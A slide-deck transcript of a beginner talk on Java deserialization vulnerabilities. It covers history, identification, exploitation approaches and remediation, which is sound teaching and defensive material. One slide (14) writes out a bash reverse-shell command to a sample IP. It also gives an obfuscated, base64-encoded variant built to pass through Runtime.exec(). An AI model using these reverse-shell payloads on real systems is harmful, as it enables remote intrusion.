Java Deserialization vulnerability beginner guide.

1. Java
Deserialization
Vulnerability !
By,
Truptiranjan Nayak

2. Contents...
● Introduction
● Overview of Serialization and Deserialization.
● What was the problem
● History of this Vulnerability
● Identification
● Exploitation Demos
● Remediations
● QA

3. Overview of Serialization & Deserialization

4. Serialization & Deserialization?
Serialization :
Serialization is the process of converting runtime variables and
program objects into a form that can be stored or transmitted.
1. Binary
a. JDK (OIS::readObject())
b. Kryo
c. Hessian/Burlap
d. AMF-based serializers
Many more...
2. Text
a. XML
i. XMLEncoder
ii. XStream
b. JSON
i. JSON-IO
ii. Jackson
c. YAML
i. SnakeYAML
Many more...

5. Serialized objects and how they look like

6. Serialization: Points to keep in mind
Serializable: Typically, only objects of classes implementing
`Serializable` can be serialized.
Inheritance: If a parent class has implemented Serializable
interface then child class doesn’t need to implement it.
Static: Only non-static data members are saved via Serialization
process. static variables will not be serialized as they belongs
to the class and not the object.
Transient: You can prevent serialization of non-static members
by marking them transient

7. Deserialization:
Deserialization is the reverse process that
converts the serialized form back into in-memory
variables and program objects

8. The essential problem: In pictures
The expected flow: Object serialized, sent to consumer, deserialized successfully.
The unexpected (attack) flow: Object serialized, sent to consumer, (attacker swaps objects),… continues send to
consumer, deserialized successfully…..but!

9. The essential problem: In words
The use of (de)serialization isn’t a problem itself. Problems arise
when a user (attacker) can control the data being deserialized, for
example if data can be delivered to the deserialization routine over
a network connection. If an attacker has control of data being
deserialized, then they have some influence over in-memory variables
and program objects. Subsequently, if an attacker can influence
in-memory variables and program objects, then they can influence the
flow of code that uses those variables and objects.

10. What’s the Problem? (More words…)
An important point here is that a deserialization exploit does not involve
sending classes or code to the server to execute. We’re simply sending the
properties of classes that the server is already aware of in order to
manipulate existing code that deals with those properties. A successful
exploit hence relies on knowledge of the code that can be manipulated
through deserialization. This is where a lot of the difficulty in
exploiting deserialization vulnerabilities stems from.

11. Complete History
● 2006: JRE Vulnerabilities(DOS) by Marc Schonefeld.
● 2008: JSF Viewstate XSS/DoS on Sun Java Web Console by Luca Carrettoni.
● 2011: CVE-2011-2894 on Spring framework RCE by Wouter Coekaerts.
● 2012: CVE-2012-4858 on IBM Cognos Business Intelligence RCE by Pierre Ernst.
● 2013: CVE-2013-1768 Apache OpenJPA RCE
CVE-2013-1777 Apache geronimo 3 RCE
CVE-2013-2186 Apache commons-fileupload RCE by Pierre Ernst.
CVE-2013-2165 JBoss Richfaces RCE by Takeshi Tereda.
● 2015: CVE-2015-3253 Groovy RCE
CVE-2015-7501 Commons-Collection RCE by Gabriel Lawrence and Chris Frohoff.
● 2017 : Black HAT USA - Same issue with Multiple implementation like Json,XML and Binary
by Alvaro Munoz and Oleksandr Mirosh .

12. Identification: Possible approaches...
Dynamic
a. Observe traffic to spot potential serialized objects - JSON, XML.
Binary objects may be raw or base64 or hex encoded. The object will
start with AC ED <2 bytes version number>
b. Improper error handling: Stack-traces/exceptions can hint to the type
of deserializer in use.
c. Fuzz testing: Automated scanning can help in limited ways.
Burp plugins available: JavaSerialKiller, Java Deserialization Scanner,
Burp-ysoserial, SuperSerial
Static
a. Dependency checks (owasp-dependency-checker) can identify
known-vulnerable deserializer versions.
b. Dependency checks (owasp-dependency-checker et. al) can identify
known-vulnerable gadget classes present in the application classpath.
c. Automated/Manual source code review can identify insecure
deserialization practices

13. ● Blind deserialization attacks : that aim to extract data from the
target system in environments where the system is behind a network
firewall that blocks outgoing connections or when strict Security
Manager policies are in place.
● Asynchronous (or stored) deserialization attacks : that store the
gadget chains in a database or a message queue. The gadget chains will
be executed when the target system reads data from the database or the
message queue and deserializes them.
● Deferred-execution deserialization attacks that do not execute the
gadget chains during deserialization, but rather after deserialization
has completed. This is usually achieved via the finalize() method
during garbage-collection.
Exploitation: Possible approaches...

14. Exploit Demo - Binary DESERIALIZATION
This is a demonstration of the
“DeserLab” serialization lab kit
(link in references). The exploit
attempts to leverage the
deserialization issue to obtain code
execution.
Note: One slightly less (possibly!) used trick in the payload
used is to overcome the issue of handling spaces in Java
Runtime().exec() and ProcessBuilder.start()
The typical bash reverse-shell below is:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Rewritten as following to overcome this:
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDcuMTkxLjEwMi4yNTMvNDQzIDA
+JjE=}|{base64,-d}|{bash,-i}
Server
CLIENT

15. Exploit Demo - Text (XML) DESERIALIZATION
Demonstration of the CVE-2017-10271 XML
Deserialization issue in Weblogic that
was first identified in October 2017.
Owing to the exploit’s simplicity it was
widely used by attackers to compromise
vulnerable Weblogic servers across the
world and deploying “Monero mining
software” with some netting a profit of
over 226,000 USD!
Disclaimer: The presenter of this talk has not made any
profit from this issue. Donations are welcome.

16. Remediation Provided
1. According to CERT “Developers need to re-architect their
applications - which requires significant code changes,
time, effort and money to achieve this
2. CERT alternatively suggests that blocking the network
port using a firewall might solve the problem in some
cases.
3. Web Application Firewalls
4. Whitelisting/Blacklisting.

17. Fix? How the vendors handled the issue!
Spring Hardened the dangerous classes
Oracle Weblogic Blacklist
Apache ActiveMQ Whitelist
Apache BatchEE Blacklist+Whitelist
Apache JCS Blacklist+Whitelist
Apache openJPA Blacklist+Whitelist
Apache OWB Blacklist+Whitelist
Apache TomEE Blacklist+Whitelist
Atlassian bamboo Disabled Deserialization
jenkins Disabled Deserialization upgraded ACC

18. DIY
Starting exercises :
[1]https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
[2]https://github.com/frohoff/ysoserial
Resources:
[1]https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenki
ns-opennms-and-your-application-have-in-common-this-vulnerability/
[2]https://www.ibm.com/developerworks/library/j-5things1/
[3]https://tersesystems.com/blog/2015/11/08/closing-the-open-door-of-java-object-
serialization

19. Questions?
Sorry, too late - I’m going home, folks! :)
For any further queries you can reach out to me at - truptiranjan108@gmail.com